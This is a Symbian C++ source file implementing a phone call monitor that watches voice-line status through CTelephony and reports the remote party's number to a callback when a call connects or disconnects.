Core/src/MonitorPhoneCall.cpp
/*
* MonitorPhoneCall.cpp
*
* Created on: 06/ott/2010
* Author: Giovanna
*/
#include "MonitorPhoneCall.h"
CPhoneCallMonitor* CPhoneCallMonitor::NewLC(MCallMonCallBack &aCallBack)
{
CPhoneCallMonitor* self = new (ELeave) CPhoneCallMonitor(aCallBack);
CleanupStack::PushL(self);
self->ConstructL();
return self;
}
CPhoneCallMonitor* CPhoneCallMonitor::NewL(MCallMonCallBack &aCallBack)
{
CPhoneCallMonitor* self = CPhoneCallMonitor::NewLC(aCallBack);
CleanupStack::Pop(self);
return self;
}
CPhoneCallMonitor::CPhoneCallMonitor(MCallMonCallBack &aCallBack)
:CActive(EPriorityStandard),iCallBack(aCallBack),iCallStatusPckg(iCallStatus)
{
}
CPhoneCallMonitor::~CPhoneCallMonitor()
{
// always cancel any pending request before deleting the objects
Cancel();
delete iTelephony;
}
void CPhoneCallMonitor::ConstructL()
{
// Active objects needs to be added to active scheduler
CActiveScheduler::Add(this);
iTelephony = CTelephony::NewL();// construct CTelephony
//StartListeningForEvents(); // start the AO query
}
void CPhoneCallMonitor::StartListeningForEvents()
{
if(IsActive())
{
Cancel();
}
if(iTelephony)
{
// ask CTelephony to notify when telephony stautus changes
// RunL will be called when this happens
iTelephony->NotifyChange(iStatus,CTelephony::EVoiceLineStatusChange,iCallStatusPckg);
SetActive();// after starting the request AO needs to be set active
}
}
/*
-----------------------------------------------------------------------------
RunL is called by Active schduler when the requeststatus variable iStatus
is set to something else than pending, function Int() can be then used
to determine if the request failed or succeeded
-----------------------------------------------------------------------------
*/
// remember that we are interested only into connected phone calls
void CPhoneCallMonitor::RunL()
{
CTelephony::TCallStatus status = iCallStatus.iStatus;
// use callback function to tell owner that call status has changed
//iCallBack.NotifyChangeInCallStatusL(status,errVal);
if(iStatus.Int() == KErrNone)
{
if(status == CTelephony::EStatusConnected)
{
CTelephony::TRemotePartyInfoV1 remInfoUse;
CTelephony::TCallInfoV1 callInfoUse;
CTelephony::TCallSelectionV1 callSelectionUse;
// we are interested only voice lines
callSelectionUse.iLine = CTelephony::EVoiceLine;
// and calls that are currently connected
callSelectionUse.iSelect = CTelephony::EActiveCall; //EHeldCall, EInProgressCall
CTelephony::TRemotePartyInfoV1Pckg remParty(remInfoUse);
CTelephony::TCallInfoV1Pckg callInfo(callInfoUse);
CTelephony::TCallSelectionV1Pckg callSelection(callSelectionUse);
// Some S60 devices have a bug that requires some delay in here
// othervise the telephone application gets "Out of Memory" error
User::After(100000);
if(KErrNone == iTelephony->GetCallInfo(callSelection,callInfo,remParty))
{
if(remInfoUse.iDirection == CTelephony::EMobileOriginated) //outgoign call
{
iCallBack.NotifyConnectedCallStatusL(callInfoUse.iDialledParty.iTelNumber);
}
else //incoming call
{
// if the call is mobile terminated then the remote party is the calling party.
// TCallRemoteIdentityStatus::ERemoteIdentityUnknown, ERemoteIdentityAvailable, ERemoteIdentitySuppressed
if(remInfoUse.iRemoteIdStatus == CTelephony::ERemoteIdentityAvailable)
{
iCallBack.NotifyConnectedCallStatusL(remInfoUse.iRemoteNumber.iTelNumber);
}
else // private number
{
TBuf16<1> privNum;
privNum.Zero();
iCallBack.NotifyConnectedCallStatusL(privNum);
}
}
}
}
if(status == CTelephony::EStatusIdle)
{
iCallBack.NotifyDisconnectedCallStatusL();
}
//iPreviousStatus = status;
}
StartListeningForEvents();
}
/*
-----------------------------------------------------------------------------
newer call DoCancel in your code, just call Cancel() and let the
active scheduler handle calling this functions, if the AO is active
-----------------------------------------------------------------------------
*/
void CPhoneCallMonitor::DoCancel()
{
if(iTelephony)
{
// since CTelephony implements many different functions
// You need to specifying what you want to cancel
iTelephony->CancelAsync(CTelephony::EVoiceLineStatusChangeCancel);
}
}
/*
* ActiveCall() detects if there's a connected call. Only in that case aNumber is meaningfull; and only
* in that case, if aNumber.Length() == 0, then aNumber is a private number.
*/
TBool CPhoneCallMonitor::ActiveCall(TDes& aNumber)
{
CTelephony::TRemotePartyInfoV1 remInfoUse;
CTelephony::TCallInfoV1 callInfoUse;
CTelephony::TCallSelectionV1 callSelectionUse;
// we are interested only voice lines
callSelectionUse.iLine = CTelephony::EVoiceLine;
// and calls that are currently connected
callSelectionUse.iSelect = CTelephony::EActiveCall; //EHeldCall, EInProgressCall
CTelephony::TRemotePartyInfoV1Pckg remParty(remInfoUse);
CTelephony::TCallInfoV1Pckg callInfo(callInfoUse);
CTelephony::TCallSelectionV1Pckg callSelection(callSelectionUse);
// TCallRemoteIdentityStatus::ERemoteIdentityUnknown, ERemoteIdentityAvailable, ERemoteIdentitySuppressed
if(iTelephony->GetCallInfo(callSelection,callInfo,remParty) == KErrNone)
{
if(remInfoUse.iDirection == CTelephony::EMobileOriginated) //outgoing call
{
aNumber.Copy(callInfoUse.iDialledParty.iTelNumber);
}
else //incoming call
{
if(remInfoUse.iRemoteIdStatus == CTelephony::ERemoteIdentityAvailable)
{
aNumber.Copy(remInfoUse.iRemoteNumber.iTelNumber);
}
else // private number
{
aNumber.Zero();
}
}
return ETrue;
}
return EFalse;
}
TInt CPhoneCallMonitor::RunError(TInt /*aError*/)
{
return KErrNone;
}